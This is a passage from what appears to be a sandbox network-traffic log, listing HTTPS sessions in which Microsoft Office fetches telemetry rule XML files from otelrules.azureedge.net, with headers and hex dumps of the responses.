9a 00 49 00 11 ff 7f 00 49 00 1d 00 52 00 49 00 1e 00 52 00 49 00 22 00 42 00 49 00 40 00 8d 00 49 00 45 00 12 00 49 00 4b 00 Data Ascii: <b<b<<<<<{=-R=7'=\=wF='==R=>MEDEIE[EiEjEkElEmEnEF-FF7F<FHHIIIIIRIRI"BI@IEIK
2024-12-03 14:32:52 UTC	840	IN	Data Raw: 2b 0f 22 23 0e 24 23 0f 1e 1f 0e 20 1f 0f 00 bf 01 31 00 10 01 31 00 20 01 31 00 03 00 00 01 30 40 80 01 70 2a e0 2a 02 00 3c 01 10 24 40 24 70 24 a0 24 04 0f 10 11 0c 09 0a 0b 0c 06 07 08 0c 03 04 05 0c 00 01 02 0c 26 06 1c 1f 06 03 18 1f 0f 03 3f 03 df 03 03 9f 00 df 00 02 0f 17 1f 17 2f 17 03 0f 14 1f 14 2f 14 03 1b 01 1d 0d 18 07 1a 0d 15 10 17 0d 12 04 14 0d 2f 1b 01 2c 3c 2a 3c 28 3c 26 3c 24 3c 22 3c 20 3c 1e 3c 1b 3c 18 3c 15 3c 12 3c 0f 3c 09 3c 06 3c 03 3c 00 3c 50 33 54 01 b0 12 4b 00 4b 54 42 b0 13 01 4b 00 4b 53 42 b0 33 2b 4b b8 03 20 52 b0 32 2b 4b b0 09 50 5b 58 b1 01 01 8e 59 b0 33 2b b0 02 88 b8 01 00 54 b0 04 88 b8 02 00 54 b0 12 43 5a 5b 58 b8 01 19 b1 01 01 8e 85 1b b9 00 01 01 00 b0 4b 60 85 8d 59 2b 2b 1d b0 64 4b 53 58 b0 80 1d 59 Data Ascii: +"#$# 11 10@p*<$@$p$$&?///,<<(<&<$<"< <<<<<<<<<<<P3TKKTBKKSB3+K R2+KP[XY3+TTCZ[XK`Y++dKSXY

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:51 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:51 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:51 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 455ca8e2-201e-0000-70f9-44a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143251Z-174f7845968kvnqxhC1EWRmf3g0000000srg00000000m2q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:51 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:51 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:51 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 6c50be25-301e-003f-6fee-44266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143251Z-174f7845968cs2nkhC1EWR2tq000000001p000000000hppn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:52 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:52 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 39707a40-001e-00a2-1737-43d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143252Z-174f7845968frfdmhC1EWRxxbw000000160g00000000h89m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:52 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 2467a365-a01e-00ab-65f1-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143252Z-174f7845968qj8jrhC1EWRh41s000000162g00000000699f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:53 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:54 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 41da8244-f01e-001f-6bec-445dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143254Z-174f7845968vqt9xhC1EWRgten000000166000000000463b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:54 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:54 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:54 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 6eaf05c4-e01e-0033-6100-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143254Z-174f7845968psccphC1EWRuz9s00000016ag00000000azv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:54 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:54 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:54 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: fd6cd5ca-101e-0028-67ee-448f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143254Z-174f78459688l8rvhC1EWRtzr00000000kn000000000e2ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:54 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:54 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:54 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:54 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 36571fa1-001e-0079-6699-4312e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143254Z-174f7845968cdxdrhC1EWRg0en000000161g000000009rcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:54 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:55 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:56 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 62ff000c-201e-006e-5b3f-41bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143256Z-174f7845968pght8hC1EWRyvxg000000094g00000000h5k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:56 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:56 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:56 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 8361f848-901e-008f-77ef-4467a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143256Z-174f7845968cs2nkhC1EWR2tq000000001mg00000000mfxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:56 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:56 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:56 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: eaaa7c64-b01e-003e-24fe-448e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143256Z-174f7845968swgbqhC1EWRmnb40000001690000000005xwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:56 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
